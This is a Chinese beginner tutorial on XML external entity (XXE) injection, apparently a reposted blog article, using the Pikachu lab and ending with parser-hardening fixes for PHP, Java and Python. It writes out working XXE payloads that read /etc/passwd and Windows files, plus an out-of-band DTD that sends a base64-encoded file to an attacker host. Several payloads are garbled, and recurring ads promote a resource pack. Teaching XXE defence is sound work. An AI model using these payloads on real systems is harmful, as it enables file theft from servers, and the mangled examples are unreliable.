搜索
您的当前位置:首页正文

【网络安全零基础入门】之XML外部实体注入(非常详细)建议收藏!

来源:爱go旅游网

大家好,我是强哥。

今天给大家分享一下网络安全渗透测试入门阶段文件XXE渗透与防御基础教程。本文主要讲解XML外部实体注入。

喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。

1、XXE原理

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。

要点: libxml2.9.1及以后,默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

代码层面(原理):

参数给变量未将过滤,使用了不安全的函数( simplexml_load_string 函数, loadxml 函数),处理了 这个变量,造成了XXE 漏洞。

条件:

当运维人员使用了低版本 php,libxml 低于 2.9.1 或者程序员设置了

libxml_disable_entity_loader(FALSE) 就可以加载外部实体。

原理解读

当 phpstudy 的版本为 5.2.17 时,我们访问 phpinfo.php ,查看 libxml 的版本(是否受影响)

由下图可知 phpstudy5.2.17 版本,受到影响,所以存在 XEE 漏洞。

http://10.0.0.101:90/phpinfo.php  

打开pikachu靶场环境,找到xxe漏洞:

http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php  

查看源代码:(使用了simplexml_load_string函数)

$xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }


2、XXE定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。


3、文档结构

XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素。


4、基本的PAYLOAD结构:


5、使用DTD实体的攻击方式 :

DTD 引用方式(简要了解):

1. DTD 内部声明

2. DTD 外部引用

3. 引用公共DTD

示例:


6、DTD 实体声明(重点):
(1)内部实体声明
<!ENTITY 实体名称 "实体的值">

一个实体由三部分构成:&符号, 实体名称, 分号 (😉,这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

<!ENTITY xxe "baidu.com">\\\]>

&xxe;

<?php  
  
    libxml_disable_entity_loader (false);      若为true,则表示禁用外部实体  
    $xmlfile = file_get_contents('php://input');   //接收xml数据,可以获取POST来的数据  
    $dom = new DOMDocument();    //创建对象  
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //文件加载,详细可参考https://www.runoob.com/php/func-simplexml-load-string.html  
    $creds = simplexml_import_dom($dom);  //从 DOM 节点返回 SimpleXMLElement 对象,参考https://www.runoob.com/php/func-simplexml-import-dom.html  
    echo $creds;  
?>  

http://10.0.0.101:90/xxe/xml.php  

火狐阅览器插件进行传参:

上面输入URL:

http://10.0.0.101:90/xxe/xml.php

下面输入DTD 实体

<!ENTITY xxe "baidu.com">\\\]>

&xxe;

点击Execute后,显示的是baidu.com。

在 pikachu上xxe输入DTD 实体,就会回显baidu.com:

http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php  
<!ENTITY xxe "baidu.com">\\\]>

&xxe;


(2)外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

示例:

<!ENTITY xxe SYSTEM "file:///c:/2024.txt" >\\\]>

&xxe;

读取c盘下2024.txt文件内容:

火狐阅览器插件进行传参:

http://10.0.0.101:90/xxe/xml.php  
<!ENTITY xxe SYSTEM "file:///c:/2024.txt" >\\\]>

&xxe;

输入到pikachu成功读取文件内容:

pikachu地址:  
http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php  

输入内容:

<!ENTITY xxe SYSTEM "file:///c:/2024.txt" >\\\]>

&xxe;


(3) 参数实体声明
<!ENTITY % 实体名称 "实体的值">

or

<!ENTITY % 实体名称 SYSTEM "URI">

示例:

<!ENTITY % xxe SYSTEM "http://10.0.0.101:90/evil.dtd" >

%xxe;]>
&evil;

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
(4)引用公共实体
<!ENTITY 实体名称 PUBLIC "public\\\_ID" "URI">
7、如何找xxe漏洞
(1)白盒测试

查看代码里面是否使用了LoadXML( )函数

(2)黑盒测试
  • 抓包看响应体是否存在xml,accept头是否接受xml

  • https://www.cnblogs.com/mysticbinary/p/12668547.html

  • 看到url文件名是否 .ashx后缀扩展名

  • 抓包修改数据类型,把json改成xml来传输数据

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

8、XXE攻击
(1)有回显
<?xml version = "1.0"?> \\\]> &hacker; //定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">

抓包查看回显

(1)无回显

建立*.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.0.0.101:90/?p=%file;'>">

//内部的%号要进行实体编码成%

xml调用

%remote;%int;%send;
]>

例如:

攻击者:win2003 10.0.0.101:90

目标主机:win10 10.0.0.103:99

攻击者在自己的主机(win2003)上编写test.dtd内容如下:

读取目标主机(win10)c盘下1.txt文件内容

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">  
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.0.0.101:90/?p=%file;'>">  

说明:http://10.0.0.101:90填写为攻击者ip

先清空攻击者自己(win2003)apache访问日志:

<?php  
  
libxml_disable_entity_loader (false);  
$xmlfile = file_get_contents('php://input');  
$dom = new DOMDocument();  
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);   
?>  

用火狐阅览器传参:

1、上面填写:

http://10.0.0.103:99/xxe2/xml.php

2、下面填写:

%remote;%int;%send;
]>

3、后点击Execute执行

然后在阅览器访问pikachu的xxe填写:

%remote;%int;%send;
]>

最后查看攻击者apache访问日志文件:

10.0.0.103 - - [19/May/2024:21:42:37 +0800] “GET /?p=MjAyNA== HTTP/1.0” 403 209
10.0.0.103 - - [19/May/2024:21:42:37 +0800] “GET /?p=MjAyNA== HTTP/1.0” 403 209 “-” “-”

说明:MjAyNA==为base64编码的内容

获取到的目标主机1.txt文件内容base64解码:

查看目标主机内容一致:


我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

9、XXE漏洞利用及相关扩展知识

访问在线网页:web.jarvisoj.com:9882

用抓包工具抓包:

是一个json数据提交,修改数据发现可以被解析

这是一道xxe的题,怎么获取flag?只要将json处改为xml,然后提交xml文档即可

发到重发器,只要将json处改为xml

修改为xxe代码,读取服务器所有用户信息:

<?xml version = "1.0"?>  
<!DOCTYPE ANY [  
    <!ENTITY f SYSTEM "file:///etc/passwd">  
]>  
<x>&f;</x>  


10、防范方法
(1)升级php版本
(2)程序员修改代码

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature(“http://apache.org/xml/features/disallow-doctype-decl”,true); setFeature(“http://xml.org/sax/features/external-general-entities”,false) setFeature(“http://xml.org/sax/features/external-parameter-entities”,false);

Python:

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

因篇幅问题不能全部显示,请点此查看更多更全内容

Top